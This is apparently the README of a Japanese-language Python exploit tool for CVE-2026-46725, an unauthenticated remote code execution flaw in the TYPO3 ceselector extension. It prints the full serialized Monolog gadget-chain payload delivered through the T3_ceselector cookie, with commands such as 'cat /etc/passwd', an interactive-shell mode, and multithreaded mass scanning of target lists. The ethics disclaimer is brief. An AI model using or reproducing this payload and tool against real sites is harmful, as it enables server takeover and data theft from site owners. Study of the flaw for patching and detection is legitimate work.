
CVE-2026-46725のPythonエクスプロイト。PHPオブジェクトインジェクションとMonologガジェットチェーンにより、TYPO3 ceselector拡張機能において認証なしのリモートコード実行を実現します。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-46725 |
| 製品 | TYPO3 ceselector 拡張機能 (mmc/ceselector) |
| 影響を受けるバージョン | <= 1.1.3 |
| 脆弱性タイプ | 安全でないデシリアライズ (PHP オブジェクトインジェクション) |
| CVSS スコア | 9.8 Critical |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (信頼できないデータのデシリアライズ) |
| EPSS スコア | 0.0046 (%64.3 percentile) |
| 認証 | 不要 (認証なし) |
| 影響 | 完全な RCE — システム完全制御 |
| 研究者 | DhiyaneshDk |
TYPO3 ceselector 拡張機能は、T3_ceselector_* という名前の Cookie 値を検証せずに直接 unserialize() 関数に渡します。攻撃者は、この Cookie に特別に細工した PHP オブジェクトインジェクション ペイロードを仕込むことで、サーバー上で任意のコマンドを実行できます。
⚠️ 前提条件: この脆弱性を悪用するには、TYPO3 の設定で Persistent Mode: Static が有効になっている必要があります。
1. GET / → サーバー Set-Cookie: T3_ceselector_<id>=<value> を返す
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ PHP unserialize() がトリガーされる
└─ Monolog Gadget Chain が実行される
└─ system("id") の出力がレスポンスに反映される
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← OS コマンドはここ
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requests ライブラリPython >= 3.8
requests >= 2.28.0
# リポジトリをクローン
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# 依存関係をインストール
pip install requests
# または requirements.txt を使用
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
ターゲット:
-u, --url URL 単一ターゲット URL
-l, --list FILE ターゲットリスト(1行に1URL)
エクスプロイト:
-c, --cmd CMD 実行する OS コマンド(デフォルト: id)
-i, --interactive エクスプロイト成功後に対話型シェルを開く
スキャン:
-t, --threads N スレッド数(デフォルト: 10)
--timeout S タイムアウト(秒)(デフォルト: 15)
--proxy URL プロキシ(例: http://127.0.0.1:8080)
出力:
-o, --output FILE 結果ファイル
-v, --verbose 詳細出力
--no-color 色なし出力
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# 20スレッドでスキャン、結果を保存
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30スレッド、カスタムコマンド
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① TYPO3 & ceselector 検出
────────────────────────────────────────────────────
· TYPO3 ✓ 検出
· ceselector ✓ 有効
· Cookie 名 T3_ceselector_48291
· TYPO3 バージョン 12.4.3
② ペイロード準備中
────────────────────────────────────────────────────
· 手法 PHP オブジェクトインジェクション → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· コマンド id
④ RCE 出力
────────────────────────────────────────────────────
┌─ RCE 出力 ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
日付: 2026-05-26 17:30:00
============================================================
[+] RCE が取得できたターゲット (2)
----------------------------------------
URL : https://typo3-site.com
バージョン : 12.4.3
Cookie : T3_ceselector_48291
コマンド : id
出力 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ エクスプロイトフロー │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. 検出 │
│ GET / ──────────────────────► TYPO3 サーバー │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. ペイロード準備 │
│ build_payload("id") │
│ └─ Monolog gadget チェーンを URL エンコード │
│ │
│ 3. エクスプロイト │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. 検証 │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
このツールは教育および許可されたセキュリティテストのみを目的として開発されています。
- 自身のシステムまたは書面による許可を得たシステムでのみ使用してください。
- 無許可のシステムに対して使用することは違法であり、法的結果を招く可能性があります。
- 開発者は、このツールの誤用について一切の責任を負いません。
CVE-2026-46725 | TYPO3 ceselector RCE | Python エクスプロイト